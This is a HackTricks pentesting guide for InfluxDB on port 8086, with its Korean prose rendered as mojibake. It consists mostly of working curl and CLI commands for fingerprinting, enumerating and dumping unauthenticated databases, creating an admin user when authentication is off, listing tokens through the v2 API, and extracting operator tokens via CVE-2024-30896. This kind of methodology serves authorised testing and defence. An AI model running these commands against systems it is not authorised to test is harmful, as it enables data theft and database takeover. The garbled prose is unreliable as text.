8086 - Pentesting InfluxDB
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
InfluxDB๋ InfluxData์์ ๊ฐ๋ฐํ ์คํ ์์ค **์๊ณ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค (TSDB)**์ ๋๋ค. TSDB๋ ํ์์คํฌํ-๊ฐ ์์ผ๋ก ๊ตฌ์ฑ๋ ์๊ณ์ด ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ณ ์ ๊ณตํ๋๋ก ์ต์ ํ๋์ด ์์ต๋๋ค. ์ผ๋ฐ ๋ชฉ์ ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋น๊ตํ ๋, TSDB๋ ์๊ณ์ด ๋ฐ์ดํฐ์ ์ ๋ํด ์ ์ฅ ๊ณต๊ฐ๊ณผ ์ฑ๋ฅ์์ ํ์ ํ ํฅ์์ ์ ๊ณตํฉ๋๋ค. ์ด๋ค์ ํน์ ์์ถ ์๊ณ ๋ฆฌ์ฆ์ ์ฌ์ฉํ๊ณ ์ค๋๋ ๋ฐ์ดํฐ๋ฅผ ์๋์ผ๋ก ์ญ์ ํ๋๋ก ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ํนํ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ธ๋ฑ์ค๋ ์ฟผ๋ฆฌ ์ฑ๋ฅ๋ ํฅ์์ํต๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
์๋ณ ๋ฐ ๋ฒ์ (HTTP)
- v1.x:
GET /ping๋ ์ํ 204๋ฅผ ๋ฐํํ๋ฉฐX-Influxdb-Version๋ฐX-Influxdb-Build๊ฐ์ ํค๋๋ฅผ ํฌํจํฉ๋๋ค. - v2.x+:
GET /health๋ ์๋ฒ ๋ฒ์ ๊ณผ ์ํ๋ฅผ ํฌํจํ JSON์ ๋ฐํํฉ๋๋ค. auth ์์ด ์๋ํฉ๋๋ค.
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
Tip: ๋
ธ์ถ๋ ์ธ์คํด์ค๋ ์ข
์ข
/metrics์์ Prometheus-style metrics๋ ์ ๊ณตํฉ๋๋ค.
์ด๊ฑฐ
pentester ๊ด์ ์์, ์ด๋ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ ์ฅํ๊ณ ์์ ์ ์๋ ๋ ๋ค๋ฅธ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ด๋ฏ๋ก ๋ชจ๋ ์ ๋ณด๋ฅผ ๋คํํ๋ ๋ฐฉ๋ฒ์ ์๋ ๊ฒ์ด ํฅ๋ฏธ๋กญ์ต๋๋ค.
์ธ์ฆ
InfluxDB๋ ์ธ์ฆ์ ์๊ตฌํ ์๋ ์๊ณ ์๋ ์๋ ์์ต๋๋ค.
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
๋ง์ฝ ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๋ฅผ ๋ฐ๋๋ค๋ฉด: ERR: unable to parse authentication credentials ์ด๋ credentials๋ฅผ ์๊ตฌํ๊ณ ์๋ค๋ ๋ป์
๋๋ค.
influx โusername influx โpassword influx_pass
influxdb์ ์ธ์ฆ ์ฐํ๋ฅผ ํ์ฉํ๋ ์ทจ์ฝ์ ์ด ์์์ต๋๋ค: CVE-2019-20933
์๋ ์ด๊ฑฐ (v1 HTTP API / InfluxQL)
CLI๊ฐ ์๋๋ผ๋ HTTP API๋ ๋ณดํต ํฌํธ 8086์์ ๋ ธ์ถ๋์ด ์์ต๋๋ค.
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
์ผ๋ถ ํ ์คํธ์์ authentication bypass๋ฅผ ์ด์ฉํ ๋ ํ ์ด๋ธ ์ด๋ฆ์
select * from "cpu"์ฒ๋ผ ํฐ๋ฐ์ดํ๋ก ๊ฐ์ธ์ผ ํ๋ ๊ฒ์ผ๋ก ํ์ธ๋์์ต๋๋ค.
authentication์ด ๋นํ์ฑํ๋์ด ์์ผ๋ฉด, ์ฌ์ฉ์ ์์ฑ๊ณผ escalate๋ ๊ฐ๋ฅํฉ๋๋ค:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
The information of the following CLI example was taken from here.
๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์
๋ฐ๊ฒฌ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ telegraf์ internal์
๋๋ค (internal์ ์ด๋์์๋ ๋ณผ ์ ์์ต๋๋ค)
> show databases
name: databases
name
----
telegraf
_internal
ํ ์ด๋ธ/measurements ํ์
The InfluxDB documentation์์๋ InfluxDB์ measurements๊ฐ SQL ํ ์ด๋ธ์ ๋น์ ๋ ์ ์๋ค๊ณ ์ค๋ช ํฉ๋๋ค. ์ด๋ค measurements์ ๋ช ๋ช ๊ท์น์ ๊ฐ๊ฐ์ ๋ด์ฉ, ์ฆ ํน์ ์ํฐํฐ์ ๊ด๋ จ๋ ๋ฐ์ดํฐ๋ฅผ ๋ด๊ณ ์์์ ๋ํ๋ ๋๋ค.
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
์ด/ํ๋ ํค ๋ณด๊ธฐ
ํ๋ ํค๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ด๊ณผ ๊ฐ๋ค
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
ํ ์ด๋ธ ๋คํ
๋ง์ง๋ง์ผ๋ก ๋ค์๊ณผ ๊ฐ์ด ํ ์ด๋ธ์ ๋คํํ ์ ์์ต๋๋ค.
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (ํ ํฐ ๊ธฐ๋ฐ)
InfluxDB 2.x๋ ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ๊ณผ ์๋ก์ด API๋ฅผ ๋์ ํ์ต๋๋ค (๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ ํ 8086 ์ฌ์ฉ). ํ ํฐ์ ์ป์ผ๋ฉด (leaked logs, default deployments, backups) ๋ค์์ ์ด๊ฑฐํ ์ ์์ต๋๋ค:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
์ฐธ๊ณ
- For v1.8+, some v2-compatible endpoints exist (
/api/v2/query,/api/v2/write,/health). This is useful if the server is v1 but accepts v2-style requests. - v2์์๋ HTTP
Authorizationํค๋๊ฐToken <value>ํ์์ด์ด์ผ ํฉ๋๋ค.
์๋ํ๋ ์ด๊ฑฐ
msf6 > use auxiliary/scanner/http/influxdb_enum
์ต๊ทผ vulns ๋ฐ privesc ๊ด์ฌ์ฌํญ (์ต๊ทผ ๋ช ๋ )
- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). ํน์ ์กฐ๊ฑด์์, ์ธ์ฆ๋ ์ฌ์ฉ์๊ฐ authorization ๋ฆฌ์์ค์ ๋ํ ์ฝ๊ธฐ ๊ถํ์ ๊ฐ์ง๊ณ ๊ธฐ๋ณธ ์กฐ์ง(default organization)์ ์์ผ๋ฉด ์ธ์คํด์ค ์ ์ฒด operator ํ ํฐ์ ๋์ดํ๊ณ ๊ฐ์ ธ์ฌ ์ ์์์ต๋๋ค(์:
influx auth ls๋๋GET /api/v2/authorizations). ํด๋น ํ ํฐ์ผ๋ก ๊ณต๊ฒฉ์๋ ์ธ์คํด์ค(buckets, tokens, users)๋ฅผ ๊ด๋ฆฌํ๊ณ orgs ์ ๋ฐ์ ๋ชจ๋ ๋ฐ์ดํฐ์ ์ ๊ทผํ ์ ์์ต๋๋ค. ์์ ๋ ๋น๋๊ฐ ๋์ค๋ฉด ์ ๊ทธ๋ ์ด๋ํ๊ณ ์ผ๋ฐ ์ฌ์ฉ์๋ฅผ default org์ ๋ฐฐ์นํ์ง ๋ง์ธ์. ๊ฐ๋จํ ํ ์คํธ:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- ๋ง์ ๋ ๊ฑฐ์ 1.x ๋ฐฐํฌ๋ค์ด ์ฌ์ ํ ์ธํฐ๋ท์์์ ์ธ์ฆ ์์ด
/query๋ฐ/write๋ฅผ ๋ ธ์ถํ๊ณ ์์ต๋๋ค. ์ธ์ฆ์ด ๋นํ์ฑํ๋์ด ์์ผ๋ฉด ์๊ณ์ด ๋ฐ์ดํฐ๋ฅผ ๋ง์๋๋ก ๋คํํ๊ฑฐ๋ ์์ ํ ์ ์์ผ๋ฉฐ, ์์ ์ค๋ช ํ ๊ฒ์ฒ๋ผ ๊ด๋ฆฌ์ ๊ณ์ ์ ์์ฑํ ์๋ ์์ต๋๋ค. CLI๊ฐ ์ฐจ๋จํ๋๋ผ๋ ํญ์ HTTP API๋ก ํ์ธํ์ธ์.
References
- InfluxData docs: InfluxDB v1/v2 HTTP API reference (์๋ํฌ์ธํธ ์:
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896: InfluxDB OSS 2.x์ operator ํ ํฐ ๋ ธ์ถ. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


